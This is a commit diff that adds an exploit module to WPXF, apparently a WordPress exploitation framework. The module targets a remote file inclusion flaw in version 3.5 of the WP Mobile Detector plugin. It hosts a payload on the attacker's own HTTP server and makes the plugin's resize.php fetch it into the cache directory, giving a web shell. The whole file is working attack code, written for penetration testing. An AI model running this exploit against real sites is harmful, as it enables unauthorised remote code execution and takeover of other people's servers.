Add WP Mobile Detector RFI shell upload module

Author: rastating

modules/exploits/wp_mobile_detector_rfi_shell_upload.rb

@@ -0,0 +1,88 @@
+class Wpxf::Exploit::WpMobileDetectorRfiShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpServer
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Mobile Detector RFI Shell Upload',
+      desc: 'The WP Mobile Detector plugin, in version 3.5, '\
+            'allows for remote file inclusion and remote code execution via '\
+            'the resize.php script. This exploit only works when the PHP '\
+            'option "allow_url_fopen" is enabled (disabled by default in most cases).',
+      author: [
+        'White Fir Design',                # Vulnerability disclosure
+        'Rob Carr <rob[at]rastating.com>'  # WPXF module
+      ],
+      references: [
+        ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/'],
+        ['WPVDB', '8505']
+      ],
+      date: 'May 31 2016'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'rfi_host',
+        desc: 'The external address of this machine',
+        required: true
+      ),
+      StringOption.new(
+        name: 'rfi_path',
+        desc: 'The path to access via the remote file inclusion request',
+        default: Utility::Text.rand_alpha(8),
+        required: true
+      )
+    ])
+  end
+
+  def plugin_url
+    normalize_uri(wordpress_url_plugins, 'wp-mobile-detector')
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-mobile-detector', '3.6', '3.5')
+  end
+
+  def rfi_host
+    normalized_option_value('rfi_host')
+  end
+
+  def rfi_path
+    normalized_option_value('rfi_path')
+  end
+
+  def rfi_url
+    "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
+  end
+
+  def on_http_request(path, params, headers)
+    payload.encoded
+  end
+
+  def uploader_url
+    normalize_uri(plugin_url, 'resize.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('src', rfi_url)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(plugin_url, 'cache', payload_name)
+  end
+
+  def before_upload
+    start_http_server(true)
+    true
+  end
+
+  def cleanup
+    stop_http_server
+    super
+  end
+end